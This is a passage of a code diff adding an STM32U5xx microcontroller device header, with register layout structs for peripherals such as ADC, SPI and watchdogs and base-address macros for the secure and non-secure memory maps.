register, Address offset: 0x28 */ /* Specific to ADC 12Bits*/ + __IO uint32_t AWD3TR; /*!< ADC watchdog threshold register, Address offset: 0x2C */ /* Specific to ADC 12Bits*/ + __IO uint32_t SQR1; /*!< ADC regular sequence register 1, Address offset: 0x30 */ /* Specific to ADC 14Bits*/ + __IO uint32_t SQR2; /*!< ADC regular sequence register 2, Address offset: 0x34 */ /* Specific to ADC 14Bits*/ + __IO uint32_t SQR3; /*!< ADC regular sequence register 3, Address offset: 0x38 */ /* Specific to ADC 14Bits*/ + __IO uint32_t SQR4; /*!< ADC regular sequence register 4, Address offset: 0x3C */ /* Specific to ADC 14Bits*/ + __IO uint32_t DR; /*!< ADC regular data register, Address offset: 0x40 */ + __IO uint32_t PWRR; /*!< ADC power register, Address offset: 0x44 */ + uint32_t RESERVED1; /*!< Reserved, 0x048 */ + __IO uint32_t JSQR; /*!< ADC injected sequence register, Address offset: 0x4C */ /* Specific to ADC 14Bits*/ + uint32_t RESERVED2[4]; /*!< Reserved, 0x050 - 0x05C */ + __IO uint32_t OFR1; /*!< ADC offset register 1, Address offset: 0x60 */ /* Specific to ADC 14Bits*/ + __IO uint32_t OFR2; /*!< ADC offset register 2, Address offset: 0x64 */ /* Specific to ADC 14Bits*/ + __IO uint32_t OFR3; /*!< ADC offset register 3, Address offset: 0x68 */ /* Specific to ADC 14Bits*/ + __IO uint32_t OFR4; /*!< ADC offset register 4, Address offset: 0x6C */ /* Specific to ADC 14Bits*/ + __IO uint32_t GCOMP; /*!< ADC gain compensation register, Address offset: 0x70 */ /* Specific to ADC 14Bits*/ + uint32_t RESERVED3[3]; /*!< Reserved, 0x074 - 0x07C */ + __IO uint32_t JDR1; /*!< ADC injected data register 1, Address offset: 0x80 */ /* Specific to ADC 14Bits*/ + __IO uint32_t JDR2; /*!< ADC injected data register 2, Address offset: 0x84 */ /* Specific to ADC 14Bits*/ + __IO uint32_t JDR3; /*!< ADC injected data register 3, Address offset: 0x88 */ /* Specific to ADC 14Bits*/ + __IO uint32_t JDR4; /*!< ADC injected data register 4, Address offset: 0x8C */ /* Specific to ADC 14Bits*/ + uint32_t RESERVED4[4]; /*!< Reserved, 0x090 - 0x09C */ + __IO uint32_t AWD2CR; /*!< ADC Analog Watchdog 2 Configuration Register, Address offset: 0xA0 */ + __IO uint32_t AWD3CR; /*!< ADC Analog Watchdog 3 Configuration Register, Address offset: 0xA4 */ + __IO uint32_t LTR1; /*!< ADC watchdog Lower threshold register 1, Address offset: 0xA8 */ /* Specific to ADC 14Bits*/ + __IO uint32_t HTR1; /*!< ADC watchdog higher threshold register 1, Address offset: 0xAC */ /* Specific to ADC 14Bits*/ + __IO uint32_t LTR2; /*!< ADC watchdog Lower threshold register 2, Address offset: 0xB0 */ /* Specific to ADC 14Bits*/ + __IO uint32_t HTR2; /*!< ADC watchdog Higher threshold register 2, Address offset: 0xB4 */ /* Specific to ADC 14Bits*/ + __IO uint32_t LTR3; /*!< ADC watchdog Lower threshold register 3, Address offset: 0xB8 */ /* Specific to ADC 14Bits*/ + __IO uint32_t HTR3; /*!< ADC watchdog Higher threshold register 3, Address offset: 0xBC */ /* Specific to ADC 14Bits*/ + __IO uint32_t DIFSEL; /*!< ADC Differential Mode Selection Register, Address offset: 0xC0 */ /* Specific to ADC 14Bits*/ + __IO uint32_t CALFACT; /*!< ADC Calibration Factors, Address offset: 0xC4 */ + __IO uint32_t CALFACT2; /*!< ADC Linearity Calibration Factors, Address offset: 0xC8 */ /* Specific to ADC 14Bits*/ + uint32_t RESERVED5; /*!< Reserved, 0x0CC */ + __IO uint32_t OR; /*!< ADC Option Register, Address offset: 0xD0 */ /* Specific to ADC 12Bits*/ +} ADC_TypeDef; + +typedef struct +{ + __IO uint32_t CCR; /*!< ADC common control register, Address offset: 0x308 */ +} ADC_Common_TypeDef; + + +/* Legacy registers naming */ +#define PW PWRR + +/** + * @brief CORDIC + */ +typedef struct +{ + __IO uint32_t CSR; /*!< CORDIC control and status register, Address offset: 0x00 */ + __IO uint32_t WDATA; /*!< CORDIC argument register, Address offset: 0x04 */ + __IO uint32_t RDATA; /*!< CORDIC result register, Address offset: 0x08 */ +} CORDIC_TypeDef; + +/** + * @brief IWDG + */ +typedef struct +{ + __IO uint32_t KR; /*!< IWDG Key register, Address offset: 0x00 */ + __IO uint32_t PR; /*!< IWDG Prescaler register, Address offset: 0x04 */ + __IO uint32_t RLR; /*!< IWDG Reload register, Address offset: 0x08 */ + __IO uint32_t SR; /*!< IWDG Status register, Address offset: 0x0C */ + __IO uint32_t WINR; /*!< IWDG Window register, Address offset: 0x10 */ + __IO uint32_t EWCR; /*!< IWDG Early Wakeup register, Address offset: 0x14 */ +} IWDG_TypeDef; + +/** + * @brief SPI + */ +typedef struct +{ + __IO uint32_t CR1; /*!< SPI/I2S Control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< SPI Control register 2, Address offset: 0x04 */ + __IO uint32_t CFG1; /*!< SPI Configuration register 1, Address offset: 0x08 */ + __IO uint32_t CFG2; /*!< SPI Configuration register 2, Address offset: 0x0C */ + __IO uint32_t IER; /*!< SPI Interrupt Enable register, Address offset: 0x10 */ + __IO uint32_t SR; /*!< SPI Status register, Address offset: 0x14 */ + __IO uint32_t IFCR; /*!< SPI Interrupt/Status Flags Clear register, Address offset: 0x18 */ + __IO uint32_t AUTOCR; /*!< SPI Autonomous Mode Control register, Address offset: 0x1C */ + __IO uint32_t TXDR; /*!< SPI Transmit data register, Address offset: 0x20 */ + uint32_t RESERVED1[3]; /*!< Reserved, 0x24-0x2C */ + __IO uint32_t RXDR; /*!< SPI/I2S data register, Address offset: 0x30 */ + uint32_t RESERVED2[3]; /*!< Reserved, 0x34-0x3C */ + __IO uint32_t CRCPOLY; /*!< SPI CRC Polynomial register, Address offset: 0x40 */ + __IO uint32_t TXCRC; /*!< SPI Transmitter CRC register, Address offset: 0x44 */ + __IO uint32_t RXCRC; /*!< SPI Receiver CRC register, Address offset: 0x48 */ + __IO uint32_t UDRDR; /*!< SPI Underrun data register, Address offset: 0x4C */ +} SPI_TypeDef; + +/** + * @brief Touch Sensing Controller (TSC) + */ + +typedef struct +{ + __IO uint32_t CR; /*!< TSC control register, Address offset: 0x00 */ + __IO uint32_t IER; /*!< TSC interrupt enable register, Address offset: 0x04 */ + __IO uint32_t ICR; /*!< TSC interrupt clear register, Address offset: 0x08 */ + __IO uint32_t ISR; /*!< TSC interrupt status register, Address offset: 0x0C */ + __IO uint32_t IOHCR; /*!< TSC I/O hysteresis control register, Address offset: 0x10 */ + uint32_t RESERVED1; /*!< Reserved, Address offset: 0x14 */ + __IO uint32_t IOASCR; /*!< TSC I/O analog switch control register, Address offset: 0x18 */ + uint32_t RESERVED2; /*!< Reserved, Address offset: 0x1C */ + __IO uint32_t IOSCR; /*!< TSC I/O sampling control register, Address offset: 0x20 */ + uint32_t RESERVED3; /*!< Reserved, Address offset: 0x24 */ + __IO uint32_t IOCCR; /*!< TSC I/O channel control register, Address offset: 0x28 */ + uint32_t RESERVED4; /*!< Reserved, Address offset: 0x2C */ + __IO uint32_t IOGCSR; /*!< TSC I/O group control status register, Address offset: 0x30 */ + __IO uint32_t IOGXCR[8]; /*!< TSC I/O group x counter register, Address offset: 0x34-50 */ +} TSC_TypeDef; + +/** + * @brief WWDG + */ +typedef struct +{ + __IO uint32_t CR; /*!< WWDG Control register, Address offset: 0x00 */ + __IO uint32_t CFR; /*!< WWDG Configuration register, Address offset: 0x04 */ + __IO uint32_t SR; /*!< WWDG Status register, Address offset: 0x08 */ +} WWDG_TypeDef; + +/*@}*/ /* end of group STM32U5xx_peripherals */ + + +/* -------- End of section using anonymous unions and disabling warnings -------- */ +#if defined (__CC_ARM) + #pragma pop +#elif defined (__ICCARM__) + /* leave anonymous unions enabled */ +#elif defined(__ARMCC_VERSION) && (__ARMCC_VERSION >= 6010050) + #pragma clang diagnostic pop +#elif defined (__GNUC__) + /* anonymous unions are enabled by default */ +#elif defined (__TMS470__) + /* anonymous unions are enabled by default */ +#elif defined (__TASKING__) + #pragma warning restore +#elif defined (__CSMC__) + /* anonymous unions are enabled by default */ +#else + #warning Not supported compiler type +#endif + + +/* =========================================================================================================================== */ +/* ================ Device Specific Peripheral Address Map ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32U5xx_Peripheral_peripheralAddr + * @{ + */ + +/* Internal SRAMs size */ +#define SRAM1_SIZE (0x30000UL) /*!< SRAM1=192k */ +#define SRAM2_SIZE (0x10000UL) /*!< SRAM2=64k */ +#define SRAM3_SIZE (0x80000UL) /*!< SRAM3=512k */ +#define SRAM4_SIZE (0x04000UL) /*!< SRAM4=16k */ + +/* External memories base addresses - Not aliased */ +#define FMC_BASE (0x60000000UL) /*!< FMC base address */ +#define OCTOSPI2_BASE (0x70000000UL) /*!< OCTOSPI2 memories accessible over AHB base address */ +#define OCTOSPI1_BASE (0x90000000UL) /*!< OCTOSPI1 memories accessible over AHB base address */ + +#define FMC_BANK1 FMC_BASE +#define FMC_BANK1_1 FMC_BANK1 +#define FMC_BANK1_2 (FMC_BANK1 + 0x04000000UL) +#define FMC_BANK1_3 (FMC_BANK1 + 0x08000000UL) +#define FMC_BANK1_4 (FMC_BANK1 + 0x0C000000UL) +#define FMC_BANK3 (FMC_BASE + 0x20000000UL) + +/* Flash, Peripheral and internal SRAMs base addresses - Non secure */ +#define FLASH_BASE_NS (0x08000000UL) /*!< FLASH (up to 2 MB) non-secure base address */ +#define SRAM1_BASE_NS (0x20000000UL) /*!< SRAM1 (192 KB) non-secure base address */ +#define SRAM2_BASE_NS (0x20030000UL) /*!< SRAM2 (64 KB) non-secure base address */ +#define SRAM3_BASE_NS (0x20040000UL) /*!< SRAM3 (512 KB) non-secure base address */ +#define SRAM4_BASE_NS (0x28000000UL) /*!< SRAM4 (16 KB) non-secure base address */ +#define PERIPH_BASE_NS (0x40000000UL) /*!< Peripheral non-secure base address */ + +/* Peripheral memory map - Non secure */ +#define APB1PERIPH_BASE_NS PERIPH_BASE_NS +#define APB2PERIPH_BASE_NS (PERIPH_BASE_NS + 0x00010000UL) +#define AHB1PERIPH_BASE_NS (PERIPH_BASE_NS + 0x00020000UL) +#define AHB2PERIPH_BASE_NS (PERIPH_BASE_NS + 0x02020000UL) +#define APB3PERIPH_BASE_NS (PERIPH_BASE_NS + 0x06000000UL) +#define AHB3PERIPH_BASE_NS (PERIPH_BASE_NS + 0x06020000UL) + +/*!< APB1 Non secure peripherals */ +#define TIM2_BASE_NS (APB1PERIPH_BASE_NS + 0x0000UL) +#define TIM3_BASE_NS (APB1PERIPH_BASE_NS + 0x0400UL) +#define TIM4_BASE_NS (APB1PERIPH_BASE_NS + 0x0800UL) +#define TIM5_BASE_NS (APB1PERIPH_BASE_NS + 0x0C00UL) +#define TIM6_BASE_NS (APB1PERIPH_BASE_NS + 0x1000UL) +#define TIM7_BASE_NS (APB1PERIPH_BASE_NS + 0x1400UL) +#define WWDG_BASE_NS (APB1PERIPH_BASE_NS + 0x2C00UL) +#define IWDG_BASE_NS (APB1PERIPH_BASE_NS + 0x3000UL) +#define SPI2_BASE_NS (APB1PERIPH_BASE_NS + 0x3800UL) +#define USART2_BASE_NS (APB1PERIPH_BASE_NS + 0x4400UL) +#define USART3_BASE_NS (APB1PERIPH_BASE_NS + 0x4800UL) +#define UART4_BASE_NS (APB1PERIPH_BASE_NS + 0x4C00UL) +#define UART5_BASE_NS (APB1PERIPH_BASE_NS + 0x5000UL) +#define I2C1_BASE_NS (APB1PERIPH_BASE_NS + 0x5400UL) +#define I2C2_BASE_NS (APB1PERIPH_BASE_NS + 0x5800UL) +#define CRS_BASE_NS (APB1PERIPH_BASE_NS + 0x6000UL) +#define I2C4_BASE_NS (APB1PERIPH_BASE_NS + 0x8400UL) +#define LPTIM2_BASE_NS (APB1PERIPH_BASE_NS + 0x9400UL) +#define FDCAN1_BASE_NS (APB1PERIPH_BASE_NS + 0xA400UL) +#define FDCAN_CONFIG_BASE_NS (APB1PERIPH_BASE_NS + 0xA500UL) +#define SRAMCAN_BASE_NS (APB1PERIPH_BASE_NS + 0xAC00UL) +#define UCPD1_BASE_NS (APB1PERIPH_BASE_NS + 0xDC00UL) + +/*!< APB2 Non secure peripherals */ +#define TIM1_BASE_NS (APB2PERIPH_BASE_NS + 0x2C00UL) +#define SPI1_BASE_NS (APB2PERIPH_BASE_NS + 0x3000UL) +#define TIM8_BASE_NS (APB2PERIPH_BASE_NS + 0x3400UL) +#define USART1_BASE_NS (APB2PERIPH_BASE_NS + 0x3800UL) +#define TIM15_BASE_NS (APB2PERIPH_BASE_NS + 0x4000UL) +#define TIM16_BASE_NS (APB2PERIPH_BASE_NS + 0x4400UL) +#define TIM17_BASE_NS (APB2PERIPH_BASE_NS + 0x4800UL) +#define SAI1_BASE_NS (APB2PERIPH_BASE_NS + 0x5400UL) +#define SAI1_Block_A_BASE_NS (SAI1_BASE_NS + 0x004UL) +#define SAI1_Block_B_BASE_NS (SAI1_BASE_NS + 0x024UL) +#define SAI2_BASE_NS (APB2PERIPH_BASE_NS + 0x5800UL) +#define SAI2_Block_A_BASE_NS (SAI2_BASE_NS + 0x004UL) +#define SAI2_Block_B_BASE_NS (SAI2_BASE_NS + 0x024UL) + +/*!< APB3 Non secure peripherals */ +#define SYSCFG_BASE_NS (APB3PERIPH_BASE_NS + 0x0400UL) +#define SPI3_BASE_NS (APB3PERIPH_BASE_NS + 0x2000UL) +#define LPUART1_BASE_NS (APB3PERIPH_BASE_NS + 0x2400UL) +#define I2C3_BASE_NS (APB3PERIPH_BASE_NS + 0x2800UL) +#define LPTIM1_BASE_NS (APB3PERIPH_BASE_NS + 0x4400UL) +#define LPTIM3_BASE_NS (APB3PERIPH_BASE_NS + 0x4800UL) +#define LPTIM4_BASE_NS (APB3PERIPH_BASE_NS + 0x4C00UL) +#define OPAMP_BASE_NS (APB3PERIPH_BASE_NS + 0x5000UL) +#define OPAMP1_BASE_NS (APB3PERIPH_BASE_NS + 0x5000UL) +#define OPAMP2_BASE_NS (APB3PERIPH_BASE_NS + 0x5010UL) +#define COMP12_BASE_NS (APB3PERIPH_BASE_NS + 0x5400UL) +#define COMP1_BASE_NS (COMP12_BASE_NS) +#define COMP2_BASE_NS (COMP12_BASE_NS + 0x04UL) +#define VREFBUF_BASE_NS (APB3PERIPH_BASE_NS + 0x7400UL) +#define RTC_BASE_NS (APB3PERIPH_BASE_NS + 0x7800UL) +#define TAMP_BASE_NS (APB3PERIPH_BASE_NS + 0x7C00UL) + +/*!< AHB1 Non secure peripherals */ +#define GPDMA1_BASE_NS (AHB1PERIPH_BASE_NS) +#define GPDMA1_Channel0_BASE_NS (GPDMA1_BASE_NS + 0x0050UL) +#define GPDMA1_Channel1_BASE_NS (GPDMA1_BASE_NS + 0x00D0UL) +#define GPDMA1_Channel2_BASE_NS (GPDMA1_BASE_NS + 0x0150UL) +#define GPDMA1_Channel3_BASE_NS (GPDMA1_BASE_NS + 0x01D0UL) +#define GPDMA1_Channel4_BASE_NS (GPDMA1_BASE_NS + 0x0250UL) +#define GPDMA1_Channel5_BASE_NS (GPDMA1_BASE_NS + 0x02D0UL) +#define GPDMA1_Channel6_BASE_NS (GPDMA1_BASE_NS + 0x0350UL) +#define GPDMA1_Channel7_BASE_NS (GPDMA1_BASE_NS + 0x03D0UL) +#define GPDMA1_Channel8_BASE_NS (GPDMA1_BASE_NS + 0x0450UL) +#define GPDMA1_Channel9_BASE_NS (GPDMA1_BASE_NS + 0x04D0UL) +#define GPDMA1_Channel10_BASE_NS (GPDMA1_BASE_NS + 0x0550UL) +#define GPDMA1_Channel11_BASE_NS (GPDMA1_BASE_NS + 0x05D0UL) +#define GPDMA1_Channel12_BASE_NS (GPDMA1_BASE_NS + 0x0650UL) +#define GPDMA1_Channel13_BASE_NS (GPDMA1_BASE_NS + 0x06D0UL) +#define GPDMA1_Channel14_BASE_NS (GPDMA1_BASE_NS + 0x0750UL) +#define GPDMA1_Channel15_BASE_NS (GPDMA1_BASE_NS + 0x07D0UL) +#define CORDIC_BASE_NS (AHB1PERIPH_BASE_NS + 0x01000UL) +#define FMAC_BASE_NS (AHB1PERIPH_BASE_NS + 0x01400UL) +#define FLASH_R_BASE_NS (AHB1PERIPH_BASE_NS + 0x02000UL) +#define CRC_BASE_NS (AHB1PERIPH_BASE_NS + 0x03000UL) +#define TSC_BASE_NS (AHB1PERIPH_BASE_NS + 0x04000UL) +#define MDF1_BASE_NS (AHB1PERIPH_BASE_NS + 0x05000UL) +#define MDF1_Filter0_BASE_NS (MDF1_BASE_NS + 0x80UL) +#define MDF1_Filter1_BASE_NS (MDF1_BASE_NS + 0x100UL) +#define MDF1_Filter2_BASE_NS (MDF1_BASE_NS + 0x180UL) +#define MDF1_Filter3_BASE_NS (MDF1_BASE_NS + 0x200UL) +#define MDF1_Filter4_BASE_NS (MDF1_BASE_NS + 0x280UL) +#define MDF1_Filter5_BASE_NS (MDF1_BASE_NS + 0x300UL) +#define RAMCFG_BASE_NS (AHB1PERIPH_BASE_NS + 0x06000UL) +#define RAMCFG_SRAM1_BASE_NS (RAMCFG_BASE_NS) +#define RAMCFG_SRAM2_BASE_NS (RAMCFG_BASE_NS + 0x0040UL) +#define RAMCFG_SRAM3_BASE_NS (RAMCFG_BASE_NS + 0x0080UL) +#define RAMCFG_SRAM4_BASE_NS (RAMCFG_BASE_NS + 0x00C0UL) +#define RAMCFG_BKPRAM_BASE_NS (RAMCFG_BASE_NS + 0x0100UL) +#define DMA2D_BASE_NS (AHB1PERIPH_BASE_NS + 0x0B000UL) +#define ICACHE_BASE_NS (AHB1PERIPH_BASE_NS + 0x10400UL) +#define DCACHE1_BASE_NS (AHB1PERIPH_BASE_NS + 0x11400UL) +#define GTZC_TZSC1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12400UL) +#define GTZC_TZIC1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12800UL) +#define GTZC_MPCBB1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12C00UL) +#define GTZC_MPCBB2_BASE_NS (AHB1PERIPH_BASE_NS + 0x13000UL) +#define GTZC_MPCBB3_BASE_NS (AHB1PERIPH_BASE_NS + 0x13400UL) +#define BKPSRAM_BASE_NS (AHB1PERIPH_BASE_NS + 0x16400UL) + +/*!< AHB2 Non secure peripherals */ +#define GPIOA_BASE_NS (AHB2PERIPH_BASE_NS + 0x00000UL) +#define GPIOB_BASE_NS (AHB2PERIPH_BASE_NS + 0x00400UL) +#define GPIOC_BASE_NS (AHB2PERIPH_BASE_NS + 0x00800UL) +#define GPIOD_BASE_NS (AHB2PERIPH_BASE_NS + 0x00C00UL) +#define GPIOE_BASE_NS (AHB2PERIPH_BASE_NS + 0x01000UL) +#define GPIOF_BASE_NS (AHB2PERIPH_BASE_NS + 0x01400UL) +#define GPIOG_BASE_NS (AHB2PERIPH_BASE_NS + 0x01800UL) +#define GPIOH_BASE_NS (AHB2PERIPH_BASE_NS + 0x01C00UL) +#define GPIOI_BASE_NS (AHB2PERIPH_BASE_NS + 0x02000UL) +#define ADC1_BASE_NS (AHB2PERIPH_BASE_NS + 0x08000UL) +#define ADC12_COMMON_BASE_NS (AHB2PERIPH_BASE_NS + 0x08308UL) +#define DCMI_BASE_NS (AHB2PERIPH_BASE_NS + 0x0C000UL) +#define PSSI_BASE_NS (AHB2PERIPH_BASE_NS + 0x0C400UL) +#define USB_OTG_FS_BASE_NS (AHB2PERIPH_BASE_NS + 0x20000UL) +#define AES_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0000UL) +#define HASH_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0400UL) +#define HASH_DIGEST_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0710UL) +#define RNG_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0800UL) +#define SAES_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0C00UL) +#define PKA_BASE_NS (AHB2PERIPH_BASE_NS + 0xA2000UL) +#define PKA_RAM_BASE_NS (AHB2PERIPH_BASE_NS + 0xA2400UL) +#define OCTOSPIM_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xA4000UL) /*!< OCTOSPIO Manager control registers base address */ +#define OTFDEC1_BASE_NS (AHB2PERIPH_BASE_NS + 0xA5000UL) +#define OTFDEC1_REGION1_BASE_NS (OTFDEC1_BASE_NS + 0x20UL) +#define OTFDEC1_REGION2_BASE_NS (OTFDEC1_BASE_NS + 0x50UL) +#define OTFDEC1_REGION3_BASE_NS (OTFDEC1_BASE_NS + 0x80UL) +#define OTFDEC1_REGION4_BASE_NS (OTFDEC1_BASE_NS + 0xB0UL) +#define OTFDEC2_BASE_NS (AHB2PERIPH_BASE_NS + 0xA5400UL) +#define OTFDEC2_REGION1_BASE_NS (OTFDEC2_BASE_NS + 0x20UL) +#define OTFDEC2_REGION2_BASE_NS (OTFDEC2_BASE_NS + 0x50UL) +#define OTFDEC2_REGION3_BASE_NS (OTFDEC2_BASE_NS + 0x80UL) +#define OTFDEC2_REGION4_BASE_NS (OTFDEC2_BASE_NS + 0xB0UL) +#define SDMMC1_BASE_NS (AHB2PERIPH_BASE_NS + 0xA8000UL) +#define SDMMC2_BASE_NS (AHB2PERIPH_BASE_NS + 0xA8C00UL) +#define DLYB_SDMMC1_BASE_NS (AHB2PERIPH_BASE_NS + 0xA8400UL) +#define DLYB_SDMMC2_BASE_NS (AHB2PERIPH_BASE_NS + 0xA8800UL) +#define DLYB_OCTOSPI1_BASE_NS (AHB2PERIPH_BASE_NS + 0xAF000UL) +#define DLYB_OCTOSPI2_BASE_NS (AHB2PERIPH_BASE_NS + 0xAF400UL) +#define FMC_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xB0400UL) /*!< FMC control registers base address */ +/*!< FMC Banks Non secure registers base address */ +#define FMC_Bank1_R_BASE_NS (FMC_R_BASE_NS + 0x0000UL) +#define FMC_Bank1E_R_BASE_NS (FMC_R_BASE_NS + 0x0104UL) +#define FMC_Bank3_R_BASE_NS (FMC_R_BASE_NS + 0x0080UL) +#define OCTOSPI1_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xB1400UL) /*!< OCTOSPI1 control registers base address */ +#define OCTOSPI2_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xB2400UL) /*!< OCTOSPI2 control registers base address */ + +/*!< AHB3 Non secure peripherals */ +#define LPGPIO1_BASE_NS (AHB3PERIPH_BASE_NS) +#define PWR_BASE_NS (AHB3PERIPH_BASE_NS + 0x0800UL) +#define RCC_BASE_NS (AHB3PERIPH_BASE_NS + 0x0C00UL) +#define ADC4_BASE_NS (AHB3PERIPH_BASE_NS + 0x1000UL) +#define ADC4_COMMON_BASE_NS (AHB3PERIPH_BASE_NS + 0x1308UL) +#define DAC1_BASE_NS (AHB3PERIPH_BASE_NS + 0x1800UL) +#define EXTI_BASE_NS (AHB3PERIPH_BASE_NS + 0x2000UL) +#define GTZC_TZSC2_BASE_NS (AHB3PERIPH_BASE_NS + 0x3000UL) +#define GTZC_TZIC2_BASE_NS (AHB3PERIPH_BASE_NS + 0x3400UL) +#define GTZC_MPCBB4_BASE_NS (AHB3PERIPH_BASE_NS + 0x3800UL) +#define ADF1_BASE_NS (AHB3PERIPH_BASE_NS + 0x4000UL) +#define ADF1_Filter0_BASE_NS (ADF1_BASE_NS + 0x80UL) +#define LPDMA1_BASE_NS (AHB3PERIPH_BASE_NS + 0x5000UL) +#define LPDMA1_Channel0_BASE_NS (LPDMA1_BASE_NS + 0x0050UL) +#define LPDMA1_Channel1_BASE_NS (LPDMA1_BASE_NS + 0x00D0UL) +#define LPDMA1_Channel2_BASE_NS (LPDMA1_BASE_NS + 0x0150UL) +#define LPDMA1_Channel3_BASE_NS (LPDMA1_BASE_NS + 0x01D0UL) + +/* Flash, Peripheral and internal SRAMs base addresses - Secure */ +#define FLASH_BASE_S (0x0C000000UL) /*!< FLASH (up to 2 MB) secure base address */ +#define SRAM1_BASE_S (0x30000000UL) /*!< SRAM1 (192 KB) secure base address */ +#define SRAM2_BASE_S (0x30030000UL) /*!< SRAM2 (64 KB) secure base address */ +#define SRAM3_BASE_S (0x30040000UL) /*!< SRAM3 (512 KB) secure base address */ +#define SRAM4_BASE_S (0x38000000UL) /*!< SRAM4 (16 KB) secure base address */ +#define PERIPH_BASE_S (0x50000000UL) /*!< Peripheral secure base address */ + +/* Peripheral memory map - Secure */ +#define APB1PERIPH_BASE_S PERIPH_BASE_S +#define APB2PERIPH_BASE_S (PERIPH_BASE_S + 0x00010000UL) +#define AHB1PERIPH_BASE_S (PERIPH_BASE_S + 0x00020000UL) +#define AHB2PERIPH_BASE_S (PERIPH_BASE_S + 0x02020000UL) +#define APB3PERIPH_BASE_S (PERIPH_BASE_S + 0x06000000UL) +#define AHB3PERIPH_BASE_S (PERIPH_BASE_S + 0x06020000UL) + +/*!< APB1 Secure peripherals */ +#define TIM2_BASE_S (APB1PERIPH_BASE_S + 0x0000UL) +#define TIM3_BASE_S (APB1PERIPH_BASE_S + 0x0400UL) +#define TIM4_BASE_S (APB1PERIPH_BASE_S + 0x0800UL) +#define TIM5_BASE_S (APB1PERIPH_BASE_S + 0x0C00UL) +#define TIM6_BASE_S (APB1PERIPH_BASE_S + 0x1000UL) +#define TIM7_BASE_S (APB1PERIPH_BASE_S + 0x1400UL) +#define WWDG_BASE_S (APB1PERIPH_BASE_S + 0x2C00UL) +#define IWDG_BASE_S (APB1PERIPH_BASE_S + 0x3000UL) +#define SPI2_BASE_S (APB1PERIPH_BASE_S + 0x3800UL) +#define USART2_BASE_S (APB1PERIPH_BASE_S + 0x4400UL) +#define USART3_BASE_S (APB1PERIPH_BASE_S + 0x4800UL) +#define UART4_BASE_S (APB1PERIPH_BASE_S + 0x4C00UL) +#define UART5_BASE_S (APB1PERIPH_BASE_S + 0x5000UL) +#define I2C1_BASE_S (APB1PERIPH_BASE_S + 0x5400UL) +#define I2C2_BASE_S (APB1PERIPH_BASE_S + 0x5800UL) +#define I2C4_BASE_S (APB1PERIPH_BASE_S + 0x8400UL) +#define CRS_BASE_S (APB1PERIPH_BASE_S + 0x6000UL) +#define LPTIM2_BASE_S (APB1PERIPH_BASE_S + 0x9400UL) +#define FDCAN1_BASE_S (APB1PERIPH_BASE_S + 0xA400UL) +#define FDCAN_CONFIG_BASE_S (APB1PERIPH_BASE_S + 0xA500UL) +#define SRAMCAN_BASE_S (APB1PERIPH_BASE_S + 0xAC00UL) +#define UCPD1_BASE_S (APB1PERIPH_BASE_S + 0xDC00UL) + +/*!< APB2 Secure peripherals */ +#define TIM1_BASE_S (APB2PERIPH_BASE_S + 0x2C00UL) +#define SPI1_BASE_S (APB2PERIPH_BASE_S + 0x3000UL) +#define TIM8_BASE_S (APB2PERIPH_BASE_S + 0x3400UL) +#define USART1_BASE_S (APB2PERIPH_BASE_S + 0x3800UL) +#define TIM15_BASE_S (APB2PERIPH_BASE_S + 0x4000UL) +#define TIM16_BASE_S (APB2PERIPH_BASE_S + 0x4400UL) +#define TIM17_BASE_S (APB2PERIPH_BASE_S + 0x4800UL) +#define SAI1_BASE_S (APB2PERIPH_BASE_S + 0x5400UL) +#define SAI1_Block_A_BASE_S (SAI1_BASE_S + 0x004UL) +#define SAI1_Block_B_BASE_S (SAI1_BASE_S + 0x024UL) +#define SAI2_BASE_S (APB2PERIPH_BASE_S + 0x5800UL) +#define SAI2_Block_A_BASE_S (SAI2_BASE_S + 0x004UL) +#define SAI2_Block_B_BASE_S (SAI2_BASE_S + 0x024UL) + +/*!< APB3 Secure peripherals */ +#define SYSCFG_BASE_S (APB3PERIPH_BASE_S + 0x0400UL) +#define SPI3_BASE_S (APB3PERIPH_BASE_S + 0x2000UL) +#define LPUART1_BASE_S (APB3PERIPH_BASE_S + 0x2400UL) +#define I2C3_BASE_S (APB3PERIPH_BASE_S + 0x2800UL) +#define LPTIM1_BASE_S (APB3PERIPH_BASE_S + 0x4400UL) +#define LPTIM3_BASE_S (APB3PERIPH_BASE_S + 0x4800UL) +#define LPTIM4_BASE_S (APB3PERIPH_BASE_S + 0x4C00UL) +#define OPAMP_BASE_S (APB3PERIPH_BASE_S + 0x5000UL) +#define OPAMP1_BASE_S (APB3PERIPH_BASE_S + 0x5000UL) +#define OPAMP2_BASE_S (APB3PERIPH_BASE_S + 0x5010UL) +#define COMP12_BASE_S (APB3PERIPH_BASE_S + 0x5400UL) +#define COMP1_BASE_S (COMP12_BASE_S) +#define COMP2_BASE_S (COMP12_BASE_S + 0x04UL) +#define VREFBUF_BASE_S (APB3PERIPH_BASE_S + 0x7400UL) +#define RTC_BASE_S (APB3PERIPH_BASE_S + 0x7800UL) +#define TAMP_BASE_S (APB3PERIPH_BASE_S + 0x7C00UL) + +/*!< AHB1 Secure peripherals */ +#define GPDMA1_BASE_S (AHB1PERIPH_BASE_S) +#define GPDMA1_Channel0_BASE_S (GPDMA1_BASE_S + 0x0050UL) +#define GPDMA1_Channel1_BASE_S (GPDMA1_BASE_S + 0x00D0UL) +#define GPDMA1_Channel2_BASE_S (GPDMA1_BASE_S + 0x0150UL) +#define GPDMA1_Channel3_BASE_S (GPDMA1_BASE_S + 0x01D0UL) +#define GPDMA1_Channel4_BASE_S (GPDMA1_BASE_S + 0x0250UL) +#define GPDMA1_Channel5_BASE_S (GPDMA1_BASE_S + 0x02D0UL) +#define GPDMA1_Channel6_BASE_S (GPDMA1_BASE_S + 0x0350UL) +#define GPDMA1_Channel7_BASE_S (GPDMA1_BASE_S + 0x03D0UL) +#define GPDMA1_Channel8_BASE_S (GPDMA1_BASE_S + 0x0450UL) +#define GPDMA1_Channel9_BASE_S (GPDMA1_BASE_S + 0x04D0UL) +#define 